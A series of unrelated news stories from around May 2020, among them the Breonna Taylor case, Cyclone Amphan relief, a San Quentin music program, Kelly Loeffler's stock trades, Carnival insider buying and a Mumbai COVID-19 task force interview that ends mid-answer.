When Skylar didnt get a response from her father the day before the dance, Trelysia burst into tears as she was feeling hopeless at the turn of events. I felt so bad because there was nothing I could do, the 29-year-old mom said.

When Christian happened to see his mother upset and in tears, he inquired out of concern. Once Christian learned what made his mom and sister so anxious, the young man made up his mind to step in and take his dearest sister to the event.

If he doesnt show, mom, Id like to take Skylar to the dance she deserves to know that a man can keep his word and that shes really special, Trelysia recalled her sons words.

Trelysia Hamerter with her two children. (Courtesy of Trelysia Hamerter)

With assurance from her thoughtful son, Trelysia set up to prepare for the worst scenario of Skylars dad not attending. She picked a charming blue suit and a gold bow tie for Christian so his clothes would match with Skylars gold gown.

As the mother and son had anticipated, Skylars dad didnt show up the next day, and their young lady couldnt hide her disappointment. She cried because she had her heart set on going, Trelysia wrote in her social media post, which has since been shared over 53,000 times.

Fortunately, Trelysia was all prepared, and Christian was ready to attend the event with her sister.

Skylar and Christian dressed up for the father-daughter dance. (Courtesy of Trelysia Hamerter)

Many social media users congratulated Trelysia for her right parenting and for raising a good man.

What an amazing big brother!!! Good for him and good for you for raising a young man with such a big heart, wrote a woman. While another said, Your son is definitely going to be a great husband and father someday! Your children are gorgeous!

Good job mom! Hes an awesome big brother and son All because of you! commented another.

Talking about her young son, Trelysia noted in her post that Christian had stepped in because he wanted his sister to know that she deserves a man keeping his word.

Needless to say, the young man did make his sister feel special on her much-awaited dance night.

We would love to hear your stories! You can share them with us at emg.inspired@epochtimes.nyc
Nation stands in solidarity with West Bengal and Odisha: PM Modi

India

oi-Deepika S

New Delhi, May 22: The nation stands in solidarity with the people of West Bengal and Odisha in the aftermath of Cyclone Amphan, Prime Minister Narendra Modi said on Friday after concluding his tour of the two states.

"The central government assures all possible support as well as assistance towards the rehabilitation, restoration and reconstruction efforts," he wrote on Twitter.

PM Modi: West Bengal fighting both Covid-19 and cyclone at the same time | Oneindia News

He referred to his visit to the two states earlier in the day to review the situation caused by the super cyclone, saying "the nation stands in solidarity with our sisters and brothers in West Bengal and Odisha".

He also tweeted the messages in Bangla and Odiya. Modi reviewed the situation in West Bengal and Odisha with Chief Ministers Mamata Banerjee and Naveen Patnaik, two days after the cyclone, the worst in years, devastated their states.

PM announces Rs 500 cr advance relief for cyclone-hit Odisha

The prime minister announced an interim assistance of Rs 1,000 crore for West Bengal. Modi also announced an ex-gratia of Rs 2 lakh to the families of each of those killed and Rs 50,000 for the injured.

The prime minister later flew down to Odisha, where he announced a financial assistance of another Rs 500 crore.
Hip-hop producer David Jassy was serving time for murder inside a California state prison when he noticed younger inmates trying to watch him produce music in his cell. Jassy arrived at San Quentin State Prison in 2013 and started working in the facility's media center with only a keyboard and a stripped-down version of producing software.

Jassy says the interest from young inmates was his inspiration to create the Youthful Offenders Program Mixtape, a music-focused mentoring and rehabilitation program at the prison.

"I didn't want to have the glorification of crime," Jassy told CBS News. "Instead, I wanted to make a mixtape of them being transparent, talking about their struggle and the reality that they live, but also warn younger kids about the dangers of a criminal lifestyle."

Jassy said his original goal was to make music for the prison's institutional channel, but word about the project quickly got out. He soon partnered with the nonprofit DreamCorps and its criminal justice arm #cut50, and his contacts from the music industry helped solicit donations of new software, computers and equipment.

After years of working with local officials for approval, Jassy created a professional recording studio inside the facility.

Jassy said he would pitch gang leaders the benefits of supporting his program and made it clear he wouldn't tolerate fighting or profanity in the studio.

"It was like the tension from the yards disappeared," Jassy said. "A lot of these young guys had never been to a club or heard music through the speakers. It was a unique experience because in prison you don't get that opportunity. That was the unifying factor, the fact they could actually enjoy the music."

The group of incarcerated artists is releasing a new project on Friday, May 29, titled "The San Quentin Mixtape, Vol. 1." The project was completely written, recorded and produced from behind bars over the span of four years. Artists including J. Cole, DJ Khaled, Meek Mill, Common, and T.I. appear on the intro of the mixtape. All proceeds from the album will be donated to the National Center for Victims of Crime, The Boys & Girls Club of Oakland and the Potrero Hill Neighborhood House.

Story continues

jcole2.jpg

David Jassy with rapper J. Cole. Handout

Jassy, who served 11 of a 15-year sentence for killing jazz artist John Osnes, was released from prison last month after California Governor Gavin Newsom granted him clemency. Newsom credited Jassy's commitment to rehabilitation through his music program.

Jassy was convicted of killing Osnes after driving over his body during a 2008 altercation, according to court documents. Jassy has denied intentionally hitting Osnes with the car.

On the day of the incident, Jassy was in Los Angeles to work with a producer for Britney Spears. He traveled to the city often, collaborating with different artists including Ashley Tisdale and Sean Kingston.

California, however, is a long way from Jassy's home in Sweden. He was part of the country's early hip-hop movement and received his first record deal at 17. Jassy said music helped him navigate being a foreigner inside America's correctional system. A skill he also used to bridge divides between races and rival gangs for the mixtape.

"Just the fact that I'm not from there, but was able to be received that well, is a testament because prison is a very segregated place," he added. "The hunger to actually make it in the music industry was bigger than whatever narrative had been set by prison politics."

CBS News previously spoke with inmates who expressed similar sentiments about the positive impact programming can have on prison communities. Advocates have long called for an increase in educational opportunities to reduce recidivism and promote safer environments.

Federal data suggests inmates who participate in any form of education have a 43% lower chance of returning to prison than those who do not. A recent study found programming participants were better able to cope with personal hardships when involved directly in music education.

Jassy said he has provided industry contacts to inmates in the program. He's now back in Sweden but left infrastructure in place so the inmates can still make music. Under the prison's supervision, inmates send him recorded lyrics so Jassy can finish their songs.

"If other guys in there would see that somebody from this mixtape could actually make it, I think it would inspire them to join and get away from crime," he added. "If you can have somebody that comes out of prison and instead chooses this route, that's a win for everybody. Any form of rehabilitation in prisons is bigger than people understand."

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: Infosys Ltd said on Friday the



class action lawsuit filed against the company and certain of its current and former officers in a United States court last year, alleging claims for violations of the US federal securities laws, has been dismissed.

As previously announced, in October 2019, a class action lawsuit was filed in the United States District Court against the company and certain of its current and former officers, the Bengaluru-headquartered company noted in a filing to stock exchanges.

The complaint, which was filed in the Eastern District of New York, was brought on behalf of a class consisting of persons or entities who purchased the company s publicly traded securities between July seven, 2018 and October 20, 2019, and alleged claims for violations of the US federal securities laws, the company said.

On May 21, 2020, the plaintiff voluntarily dismissed the lawsuit without prejudice , it said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A Kentucky prosecutor is moving to dismiss an attempted murder charge against Kenneth Walker, the boyfriend of Breonna Taylor who shot a police officer as they entered Taylor's home during a botched raid in the early morning hours of March 13.

Tom Wine, Louisville's top prosecutor, announced on Friday that the case needs more investigation and he wants to let state and federal prosecutors finish their inquiries.

'If, after those reviews, we believe that there is sufficient evidence to present this matter to the grand jury, we will do so,' Wine said in an online news conference.

Taylor's boyfriend, Walker, had been charged with attempted murder of a police officer, Louisville Metro Police Sgt. Jonathan Mattingly, for shooting at officers as they served a search warrant.

Kentucky prosecutors on Friday announced that they have dropped attempted murder charges against Kenneth Walker (left). Walker is the boyfriend of 26-year-old Breonna Taylor (right). Taylor was in bed in her home on the night of March 13 with Walker.

Taylor, 26, died in the early hours of March 13 after law enforcement raided the home she shared with her boyfriend in Louisville, Kentucky

The search warrant used to justify the police raid which left Breonna Taylor, pictured, 26, dead on March 13 claimed that Taylor's home was used by a suspected drug dealer, Jamarcus Glover to receive suspicious packages. The family says this claim is false and is suing police

Mattingly was wounded in the leg during the March 13 raid that was launched alongside two other LMPD officers - Brett Hankison and Myles Cosgrove.

Walker was not injured but Taylor, a black emergency medical tech, was shot eight times during the March 13 warrant search.

Attention on Taylor's death has intensified this week as Louisville's police chief announced his retirement and the mayor changed some police warrant search policies.

Sgt Jonathan Mattingly of the Louisville Metro Police Department was shot in the leg by Walker after he and two other officers launched a 'no-knock' raid on the home

Wine played some of Walker's interview with police during the news conference Friday.

Walker told police on the audio recording that he could hear knocking on the night of the shooting but did not hear police announce themselves.

Walker said he was 'scared to death' so he grabbed his gun and when the door was knocked down, he fired a shot.

He said his intention was to fire a warning shot downward toward the ground.

The bullet hit a police detective.

Wine said he also was seeking to dispel some 'false information' that has been reported about the case.

Wine said he believes that the police knocked and identified themselves despite receiving approval for a 'no-knock' warrant.

Those warrants allow officers to enter a home without first announcing their presence.

Walker said he heard loud knocking on the door before police entered but said he didn't know who it was.

The Taylor family filed a lawsuit claiming that Mattingly and officers Brett Hankison (left) and Myles Cosgrove (right) entered their apartment without announcing themselves

A lawsuit filed last week by Taylors family said the officers 'spray(ed) gunfire into the residence with a total disregard for the value of human life.'

Police said they were returning fire after being shot at.

The lawsuit said police had already located the drug suspect they were seeking at a different location before executing the warrant at Taylors residence.

Louisville police chief announces he will resign as the FBI launches an investigation into the cop killing of Breonna Taylor during botched drug raid

Louisville Metro Police Chief Steve Conrad announced Thursday that he is resigning after eight years

Conrad's last day will be in June and Deputy Chief Robert Schroeder will serve as the interim chief while the LMPD searches for a replacement

The FBI has revealed in a statement that it will investigate the details surrounding the killing of Breonna Taylor

Taylor, 26, died in the early hours of March 13 after cops raided the home she shared with her boyfriend Kenneth Walker in Louisville

Her loved ones have launched wrongful death lawsuit against LMPD officers

And it has since emerged one cop was accused of harassing another man

Officer Brett Hankison was accused of having a 'vendetta' against Kendrick Wilson and of being 'a dirty cop' in a 2019 lawsuit; he denied all the claims

Louisville Metro Police Chief Steve Conrad announced Thursday that he is resigning from his role as top cop as the FBI begins investigating the details surrounding the tragic shooting of black EMT Breonna Taylor.

He had been in the position for eight years.

Conrad's last day will be in June and Deputy Chief Robert Schroeder will serve as the interim chief while the LMPD searches for a replacement, Mayor Greg Fischer announced in a release, The Courier Journal reports.

'It has been the highlight of my professional career to be Louisville's police chief,' Conrad, 63, said in a statement.

'LMPD is full of amazing men and women who come to work each day to do their best for this community and has been a privilege to lead them.'

Conrad's announcement comes as the FBI has revealed in a statement that it will investigate the details surrounding the March 13 killing of the 26-year-old during a botched aid at her home in Louisville, Kentucky.

Louisville Metro Police Chief Steve Conrad announced Thursday that he is resigning after eight years

'The FBI will collect all available facts and evidence and will ensure that the investigation is conducted in a fair, thorough and impartial manner,' the Louisville FBI said in their statement.

Conrad struggled during his time with the department. In 2016, the Fraternal Order of Police voted no-confidence in his leadership by 13-9.

The vote happened in part because the Metro Council felt he failed to address the increase in homicide in the area.

At the time, Fischer said that it was unfair to 'simplistically target one person for a complex problem' and noted that other areas also saw rises in homicide and other violent crimes.

Conrad also survived a scandal where officers sexually assaulted teens in the department's Explorer Program, which Fischer disbanded.

A U.S. attorney report stated that there were 'violations of policy and mistakes in judgment, some significant,' by department leaders. Conrad was also found to have halted the investigation of one of the officers, allowing him to resign from the department.

Conrad's announcement comes as the FBI has revealed in a statement that it will investigate the details surrounding the March 13 killing of the 26-year-old during a botched aid at her home in Louisville, Kentucky

Conrad was the subject of two lawsuits that accused him of firing whistleblowers. One of the cases was settled for $450,000 while the other resulted in a $300,000 verdict.

According to Metro Council President David James, D-6th District, there was a 'palpable tension' at City Hall as council members decided what best to do with Conrad.

James, a frequent critic of Conrad, said the killing of Taylor was the final straw.

'It was really time for a change at the police department,' he said. 'I'm very happy for Chief Conrad to be able to retire after a long career. I think it's very, very beneficial for our city for him to make that decision.'

The news of the resignation and update on the investigation comes just days after it was revealed that one of the officers involved in the botched raid had actually been accused of harassing a man in 2019.

Officer Brett Hankison was accused of having a 'vendetta' against Kendrick Wilson and of being 'a dirty cop' in an October lawsuit; he denied all the claims.

Wilson's ongoing federal lawsuit - unrelated to the shooting incident in March - accuses Hankison of targeting him and planting drugs, The Courier Journal reports.

It says Hankison arrested Wilson three times over a two year period at bars where he worked as off duty security. The charges against Wilson stemming from these incidents were dropped on two of these occasions. One case is still pending.

Officer Brett Hankison, pictured, has been accused of having a 'vendetta' against Kendrick Wilson and of being 'a dirty cop' in an October lawsuit; he denied all the claims

The suit says Hankison and Wilson were also involved in 'a relationship with the same woman'. It says the officer was 'unfairly targeting' Wilson.

Taylor's family says that Louisville cops obtained the warrant used to raid her home based on false information that investigators gave to the judge.

Attorneys for the family of 26-year-old Breonna filed a lawsuit against Louisville Metro Police Department alleging that a detective falsely claimed that a drug suspect was receiving postal packages at her house.

In the early morning hours of March 13, Louisville police executed a 'no-knock' raid on her home as part of an investigation centered on two men suspected of selling drugs in the Russell section of the city.

Taylor's apartment in southwest Jefferson County was more than 10 miles away from the Russell neighborhood, according to the Louisville Courier Journal.

Police suspected Taylor's home was used to receive drugs, and a judge signed off on a 'no-knock' warrant allowing law enforcement officials to raid her home.

Just before 1am, Louisville police said they identified themselves before using a battering ram to enter Taylor's home, where she and her boyfriend, Kenneth Walker, were in bed.

Officers fired at least 20 rounds during the raid. The above image shows a bullet hole piercing what appears to be a piece of furniture in Taylor's home

A bullet hole is seen in a glass window at Taylor's apartment in southwest Jefferson County

Taylor's neighbors and her family dispute this. They said police never identified themselves, and that Walker, who was legally allowed to carry a firearm, shot at the cops thinking that he was being robbed.

Police responded with gunfire, killing Taylor, who suffered eight gunshot wounds.

Walker was arrested and charged with first-degree assault and attempted murder of a police officer after Sgt. Jonathan Mattingly was shot in the leg during the raid.

The search warrant used to justify the police raid which left Breonna Taylor, 26, dead on March 13 claimed that Taylor's home was used by a suspected drug dealer, Jamarcus Glover, pictured, to receive suspicious packages. The family says this claim is false and is suing police

Mattingly, Officer Brett Hankison, and Officer Myles Cosgrove were the three detectives who raided Taylor's home.

All three officers are named as defendants in the lawsuit filed by Taylor's family.

Taylor had no criminal record and worked for two local hospitals. The lawsuit alleges that police fired at least 20 rounds into the home.

The warrant which was approved by a judge the day before Taylor died was based on a detective's belief that one of the drug suspects in Russell, Jamarcus Glover, used Taylor's residence to receive mail, keep drugs, or stash money from the sale of drugs.

Glover was arrested in a separate raid that same night more than 10 miles away from Taylor's home.

A Louisville detective wrote in an affidavit that he saw Glover leave Taylor's apartment two months before the raid with a United States Postal Service package which he then transported to a 'known drug house,' according to the Courier Journal.

The detective wrote that he verified the information 'through a US Postal Inspector.'

But the inspector, Tony Gooden, told WDRB-TV that he was never asked by the Louisville Metro Police about any suspicious packages being sent to Taylor's apartment.

Gooden said a different law enforcement agency asked his office in January to investigate whether any suspicious mail was going to Taylor's residence.

After looking into the request, Gooden said his office found there was nothing suspicious linked to Taylor's home.

'There's no packages of interest going there,' Gooden said.

Taylor's death sparked outraged nationwide. Her family is suing Louisville and its police department for wrongful death

Benjamin Crump, a Florida-based lawyer who specializes in high-profile cases involving police shootings of African Americans, said that Gooden's statement 'directly contradicts what the police stated in the affidavit to secure a no-knock warrant for her home.'

Crump is now part of a team of lawyers representing Taylor's family.

'Gooden further stated that 'no packages of interest were going there',' Crump said.

'We will continue to demand transparency from the Louisville police on behalf of Breonna's family.'

DailyMail.com has reached out to Crump and the LMPD for comment.

'No-knock' warrants are a controversial practice that allows law enforcement officials to raid a suspect's home without identifying themselves or notifying the suspect beforehand.

Supporters of the practice say that it prevents suspects from destroying evidence during the time that authorities use to identify themselves.

But opponents say that it poses various dangers.

Houston police stopped the practice of no-knock raids last year after two civilians were killed and four officers were shot during a drug raid that was launched based on faulty information.

No-knock raids have resulted in officers being shot because residents who are legally permitted to carry firearms believed they were being burglarized.

Several states, including Kentucky, have 'stand your ground' laws that allow the use of lethal force in case they fell victim to crimes such as assault, rape, and burglary.
The family of prominent Saudi journalist Jamal Khashoggi killed in the kingdoms consulate in Istanbul in 2018 said they have forgiven murderers of their father, Anadolu News agency reports.

On this blessed night of the blessed month (of #Ramadan), we remember Gods saying: If a person forgives and makes reconciliation, his reward is due from Allah, Jamals son Salah Khashoggi said in a tweet Friday.

Therefore we the sons of martyr Jamal Khashoggi announce we forgive and pardon those who killed our father, seeking reward from God almighty.

Khashoggi, also columnist at Washington Post, disappeared on October 02, 2018 at Saudi consulate in the Turkish city while there for some paperwork in the framework of his marriage with his Turkish fiancee.

Turkish investigation after analyzing tapes and video footages inside the mission, revealed that the journalist was killed and dismembered by a squad flown in Istanbul few days prior to the assassination.

Riyadh first denied the Turkish revelations but later confessed that Khashoggi was killed in the structure but never produced the body of critic of Crown Prince Mohamed bin Salman (MbS).

Turkish authorities, several western countries and the UN suspected the Prince for the killing. Riyadh rejected the charges. MbS in an interview late last year said he regretted the crime happened under his watch.

A court in the kingdom late last year sentenced five people to death for allegedly taking part in the murder.
The COVID-19 pandemic has surely sunk Carnival Cruise Line (NYSE:CCL), right? There's no way the company could recover from the immense negative publicity and dockets filling with pending lawsuits, right? Well, some insiders are holding out hope  and one even made a $10 million bet on its future. Even the Kingdom of Saudi Arabia bought an 8.2% stake. Let's see whether these votes of confidence suggest that investors should start boarding.

Anchors aweigh?

One of the classic greenlights to getting in on a stock is when insiders do. These can be C-level executives, other higher-ups, members of a board of directors, or even certain shareholders. They are heavily bought in to a company, and their confidence in its future performance spurs them to buy low, confident that the stock will go high. Maybe they're just good company people, loyal to the brand. Maybe they are experts in their industry and are skilled in making lemonade from lemons.

Now, there's two types of insider trading, and only one of them -- the kind where you trade based on knowledge the general public doesn't have -- will land you in prison. This is not that kind. Instead, call it it substantiated optimism.

The Securities and Exchange Commission (SEC) requires these people disclose their activity within 48 hours ("before the end of the second business day") if they own 10% or more of a company's outstanding stock. SEC Form 4, the Statement of Changes in Beneficial Ownership must be filed, detailing the transaction and their relationship to the company.

On April 6, Randall J. Weisenburger, Carnival Corporation Board Director since 2009, placed an order for 1.25 million of the company's stock, at $8 a share. That's an insider buy of $10 million. Good for him, but why should we care? As legendary American investor Peter Lynch, who once shepherded the Magellan Fund at Fidelity to $14 billion in assets once said, "Insiders might sell their shares for any number of reasons, but they buy them for only one: they think the price will rise." https://www.sec.gov/Archives/edgar/data/815097/000112760220013347/xslF345X03/form4.xml

On March 2, CCL traded at $33.06. By the time the World Health Organization declared the novel coronavirus a pandemic March 11, the stock had dropped to $21.75. Weisenburger waited in the weeds before pouncing, and that strategy has seemed to pay off. By May 19 it was up to $14.14, continuing an uptick that began April 3. Great timing, right? Shares still fall short of the all-time high of $71.61 on Jan. 1, 2018, but analysts are now projecting a bullish short- (two to six weeks) and medium-term (six weeks to nine months) future for the line.

In fact, CCL stock has increased roughly 83% since Weisenberger's purchase.

Weisenberger increased his personal stake by 997% with the buy  the first insider purchase of CCL since COVID-19 sent stormy seas to the cruise lines in March. His Form 4 shows he now owns more than 1.375 million shares in the company. Weisenberger's previous CCL insider purchase was on July 3, 2019, when dropped $930,000 to buy 20,000 shares at $46.50 each, bringing him up to a stake of 122,934 shares.

Investors of Arabia

With all of its 100 ships docked and no plans to resume operations until August, the world's largest cruise line's stock has dropped in value about 70% overall since the pandemic began. Carnival says it costs about $1 billion  a month  to operate the company, and that's why it sold almost 72 million shares of its common stock April 6 at the bargain-basement $8 Weisenburger got in on.

That also opened the door for other wealthy investors  namely the Saudi royal family  whose accounts are managed by the country's Public Investment Fund (PIF). The PIF describes itself as a kind of global angel investor on its website. "[Our vision is] to be a global investment powerhouse and the world's most impactful investor, enabling the creation of new sectors and opportunities that will shape the future global economy, while driving the economic transformation of Saudi Arabia," the mission statement reads.

The PIF bought 43.5 million shares for about $348 million in cash. The Kingdom (by way of the PIF) now owns an 8.2% stake in Carnival.

So what motivated Weisenburger and the Saudis to up their antes?

Liquidity is especially important on the sea

On May 14, Carnival outlined measures it has taken to keep itself afloat during its "extreme pause in guest operations." Carnival Corporation CEO Arnold Donald said recent financial actions like emergency financing and the stock sale, had netted the line $6.4 billion of additional liquidity. He said he is confident of a turnaround.

"It's also encouraging to note that the majority of guests affected by our schedule changes want to sail with us at a later date, with fewer than 38 percent requesting refunds to date," Donald said in a statement to investors online. "Our booking trends for the first half of 2021, which remain within historical ranges, demonstrate the resilience of our brands and the strength of our loyal recurring customer base, of which 66% are repeat cruisers. In addition, we plan to stagger fleet reentry to optimize demand and operating performance over time."

In short, Weisenburger and the Saudis seem to share the company's optimism about a future recovery.

Red skies at night?

The mariner's ancient rhyme (not to be confused with the Rime of the Ancient Mariner), "Red skies at night, sailor's delight; red skies at morning, sailors take warning" can be applied to Carnival's situation. Basically, tonight's "red skies" mean a storm has begun to clear out, and a brighter day with smoother sailing is on the horizon tomorrow.

When big insiders and big governments seize an investment opportunity like this, the rest of us should take notice. Is it corporate braggadocio? Maybe. But at its current low share price, Carnival may still be worth at least a small to medium-sized position.

This latest sale of Carnival stock has raised a lot of money that the company can use to stay afloat for the near future, help it navigate to the other side of the COVID-19 pandemic  whenever and wherever that is  and sail to calmer, more profitable waters.
Embattled Georgia Republican Sen. Kelly Loeffler is vowing to stay in her race for reelection and predicting she will win in an interview where she wouldn't confirm if she has been contacted by the FBI about her stock trades.

Loeffler made the claim in an extended interview as she faces increased scrutiny for her $2 million in trades after getting a closed briefed about the coronavirus. She continues to lash out at the press, including in a new ad that calls the media 'trash.'

'Not only am I not dropping out, but I'm going to win,' Loeffler told Politico Thursday.

'Not only am I not dropping out, but I'm going to win,' said Sen. Kelly Loeffler, whose $2 million in stock trades are under scrutiny as the FBI investigates lawmakers who sold shares

'And no one's going to intimidate me into thinking that that's the right course for our party, for our state, for our country. I'm working hard to help reelect the president,' she said. 'I'm working hard to win my seat and keep the Senate in Republican hands.'

Loeffler, who was appointed by the state's Republican Gov. Brian Kemp, chalked up a series of reports on her trades to the 'liberal media attacking someone who supports free enterprise.'

'I'm not going to be deterred by it,' she added.

Her ad released Thursday makes a similar point. 'In my opinion, the media is just trash,' says a grandmother identified as 'Mary.' The 'media does not want you to know the truth,' says 'Bo,' a Vietnam vet, in another ad.

Senator Kelly Loeffler & husband, Jeffrey Sprecher, who is the chairman and CEO of Intercontinental Exchange, the company that owns the New York Stock Exchange

'Socialist attack': Primary challenger Rep. Doug Collins, a conservative firebrand, has blasted Loeffler for the stock sales

Loeffler is pictured here with President Trump

Loeffler is also getting scrutiny from her conservative GOP rival, Rep. Doug Collins.

'Instead of working for the people of Georgia for the past five months in D.C., she seems to have been working for herself,' he said.

Loeffler got a $9 million golden parachute when she left her job to join the U.S. Senate  at a company where her husband is the CEO, it the New York Times revealed earlier this month.

She is one of the richest people ever to serve in the Senate.

She made a series of market moves with funds she secured in part after getting the generous parting package from her employer, Intercontinental Exchange, the company that owns the New York Stock Exchange. Her husband, Jeffrey Sprecher, is the CEO of the company.

Loeffler and her husband traded millions in stocks in the days after a closed Senate briefing on the coronavirus  and dumped holdings in retail stores that have been battered by the pandemic.

She sold off 27 stocks - valued at between $1.275 million and $3.1 million - starting in late January until mid-February.

She wouldn't comment on whether the FBI has contacted her.

Sen. Richard Burr of North Carolina stepped away from his post chairing the Senate Intel panel amid probe of his own trades. The move came after the FBI seized Burr's cell phone as part of its investigation into potential insider trading. The STOCK Act requires lawmakers to disclose their trades.
A U.S. Memorial Day weekend like no other, with parties and biker rallies on hold FILE PHOTO: Bikers ride in 32nd Annual Rolling Thunder in Washington

By Nathan Layne

(Reuters) - Tom McNamara had planned to ride his 2013 Harley Road Glide Ultra motorcycle through the heart of Washington on Sunday, joining hundreds of thousands of bikers in a Memorial Day weekend rally in the nation's capital to raise awareness of U.S. veterans.

But, like the rest of the United States, the coronavirus pandemic upended McNamara's plans for the weekend that traditionally marks the start of summer, forcing him to cancel the event and come up with a safer alternative.

Even with all 50 states taking steps to reopen their economies, this Memorial Day weekend will not resemble any in decades. In many places, beaches and parks will be open, but groups will asked to stay six feet apart; restaurants will only be serving customers outside; and bars will be closed in what is customarily one of the year's biggest drinking weekends.

"A Memorial Day party would be great," said Michael Williamson of the Michigan State University Black Alumni, who is organizing an online kickoff party for his local chapter on Friday night. "Bars and clubs aren't open right now, so we are doing everything virtual."

Motorcycle rallies are a staple of the weekend. AMVETS, a veterans group, had been expecting up to half a million bikers at its Rolling to Remember rally in Washington. But it canceled the event, asking local chapters to instead organize 22-mile (35-km) rides to spotlight the estimated 22 veterans who die by suicide each day.

"This is something that is far beyond our control. We are disappointed, but we are not letting it go," said Tom McNamara, AMVETS' National Riders president and one of the event's lead organizers.

Memorial Day, which falls on Monday, was established to honor and mourn American military personnel who died while serving.

The holiday weekend comes at a time of unprecedented economic and social upheaval. Over 93,000 Americans have died from the virus, and more than 38 million Americans have filed for unemployment claims since the lockdowns began in March.

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A large swath of the country is expected to spend the weekend at home, in contrast with last year's Memorial Day weekend when an estimated 43 million traveled, according to the American Automobile Association (AAA).

AAA is not issuing a travel forecast for this weekend, citing uncertainties due to the virus. Online travel company Tripadvisor Inc says it expects activity to vary by state, depending on how far each has relaxed social distancing rules.

New York, New Jersey and Delaware are opening their shorelines this weekend, although with various restrictions, including a swimming ban at New York City beaches. New York Governor Andrew Cuomo said he expected a 50 percent capacity limit to be reached by 10 a.m. due to pent-up demand.

"It's Memorial Day weekend. People want to get out of their homes," he told a daily coronavirus briefing on Thursday.

The northern New Mexico town of Red River will have an unusually quiet holiday weekend after canceling a motorcycle rally that had been expected to draw 20,000 riders and had been a reliable source of revenue for 37 years.

Red River's tourism director, April Ralph, said the town had brought in portable toilets and set up picnic benches anyway. She said it expects visitors from Texas escaping the heat and that some bikers would come to tour a scenic byway called the Enchanted Circle and pay homage at a Vietnam War memorial, rally or not.

Since bars are closed, Ralph was not anticipating trouble getting visitors to follow social distancing guidelines. She said she has a stunt group known as the Busted Knuckles already booked for next year, when she hopes the virus will be under control.

"People are getting antsy to move and get out," Ralph said. "We are hoping that next year will be a whole different ball game."

(Reporting by Nathan Layne in Wilton, Connecticut, and Rajesh Kumar Singh in Chicago; editing by Jonathan Oatis)
'There is just one silver lining: The fatality rate has gone down.'

IMAGE: A paramedic collects a swab sample at the KEM Hospital in central Mumbai, May 19, 2020. Photograph: Sunil Khandare/ANI Photo

It has been a little over a month since the Maharashtra government prudently appointed a medical taskforce to help it fight COVID-19 in the state.

Dr Sanjay N Oak, who heads the nine-member team, 36 days later, crisply gives Vaihayasi Pande Daniel/Rediff.com an update on the progress in the greater Mumbai urban area. The first part of the interview:

His update offers critical details on:

The newest drugs they hope to try.

How COVID-19 is being tackled in the lesser income neighbourhoods of the city,

Estimates on when cases will peak in Mumbai.

Fatality rates.

Case-doubling rates.

The issues hospitals face.

The future for schools and universities.

Dr Oak, a pediatric surgeon, is the CEO of the Prince Aly Khan Hospital in south central Mumbai.

Before that, he racked up nearly four decades of experience working in senior/senior-most positions at three of Mumbai's civic-run hospitals -- the King Edward Memorial Hospital, the Lokmanya Tilak Municipal General Hospital (Sion Hospital) and the B Y L Nair Hospital.

When I spoke to you last, the medical task force you head had just been set up and you were putting together the topmost medical measures to be suggested to the Maharashtra government to fight COVID-19.

You mentioned then that your team had put together a 50-page report.

How has that report been augmented and what are some of the newest, latest measures that you have suggested?

Yes, the last time when we spoke, the report was 50 pages.

Now I think it is about 100 pages plus.

The task force activities continue.

IMAGE: Dr Sanjay N Oak: 'A Himalayan task of building a 1,000-bedded enclosure within 7 days, commissioned by the Hon Commissioner MMRDA, R A Rajeev sir.'

'The enclosure contains 504 beds with oxygen and 504 without.'

'Besides that, there are OPD blocks, Portable Radiology Equipment, Portable Labs, Doctor enclosures and about 100 toilet blocks.' Photograph: Kind courtesy sanjayoak/Facebook

We meet almost every alternate day or night, in a video meeting.

And we discuss every probable thing, that is being performed in any corner of the world -- debate its practicality, discuss its acceptance, dilate about the concept that has been put across, and decide whether it can be included in the recommendations or not.

That even includes suggestions from our colleagues from the aayush (Ayurvedic) fraternity.

We include everything as a part of this document.

We may not recommend it, but you will find it in the task force record, a small paragraph or at least two lines about various things that were suggested.

Just now we are focusing on four important drugs -- remdesivir, favipiravir. tocilizumab, itolizumab.

So, these are the four drugs, which are of paramount significance.

We are urging the government for their early acceptance, early production and applicability to the Indian populace.

IMAGE: Health workers in Dharavi, May 15 2020. Photograph: Vijay Bate/ANI Photo

As the head of the medical task force in Maharashtra, what are some of the measures you are focusing on?

Especially, to help the containment of COVID-19 in Mumbai's slums.

The slums, naturally because of their structure, would be posing severe limitations in the fight against this virus in the city?

We need to continue the screening and scanning of the Mumbai slums in larger proportions, which we are doing.

If I could give you some statistics: In the last about 10 days, in 24 administrative wards of Mumbai, we have scanned approximately about 30 lakhs of people, with pulse oximetry (a test that uses a small device to measure the oxygen in the blood. At sea level a healthy person should have oxygen saturation or sats of 96 to 99 per cent and at least above 94 per cent. Less indicates comorbidity of some kind).

We found at least about 1,100 individuals, who were over the age of 55, whose pulse oximetry readings were unsatisfactory and who had comorbidities.

So, they were moved into the CCC (COVID-19 care centres) arenas, given oxygen and treatment.

Now this is useful, because I would consider them as a vulnerable group.

For this vulnerable group, it was like putting the stitch in at the right time.

IMAGE: Workers arrange beds, made with corrugated boxes, at the Manohar Joshi Junior College in Dharavi, May 6 2020. Photograph: Vijay Bate/ANI Photo

Secondly, we are increasing the number of beds in Mumbai.

Everywhere. Public sector. Private sector.

We have constructed big, big hospitals and this is happening in a very coordinated manner.

This on a scale that Mumbai is witnessing for the first time.

I've been in clinical medicine, surgery and the health sector for last 40 years and 15 years in administration.

I haven't seen something to the tune of an 1,000 bed hospital being built in 10 days.

This is happening right in our own times.

And I feel happy about that.

IMAGE: Dr Sanjay N Oak. Photograph: Kind courtesy sanjayoak/Facebook IMAGE: Dr Sanjay N Oak.

However, I feel that let most of these beds remain empty.

I would be happy to construct a bed and keep it empty.

Because that means that the disease is really under control.

At the hospital level, yes, the ICU beds are in high demand.

And all walks of society -- whether rich, ultra-rich, and even the poor -- are finding it tough to find ICU beds, because they are limited.

That is definitely a matter of concern for all of us.

And then when it comes to the new drugs which we want to use - the costs should not limit it.

And the availability should also be there, so that it becomes accessible to the needy people.

These are some of my steps now in Mumbai.

IMAGE: A health worker collects a swab sample in Dharavi, May 19 2020. Photograph: Vijay Bate/ANI Photo

When will COVID-19 cases peak in Mumbai?

I think we are very close to the peak.

I can say that with conviction looking at the number of cases which are being diagnosed every day.

There is just one silver lining: The fatality rate has gone down.

In fact, on April 13, when the task force was set up and we started our work, the fatality rate was almost to the tune of about 7.7 per cent.

IMAGE: COVID-19 patients at the KEM Hospital in Mumbai, May 19 2020. Photograph: Sunil Khandare/ANI Photo

Right, you told me that.

And the first sentence, that I had uttered, on what would be our first objective, was to try and get it low.

And I'm satisfied that today we are at 3.3 or 3.2 per cent.

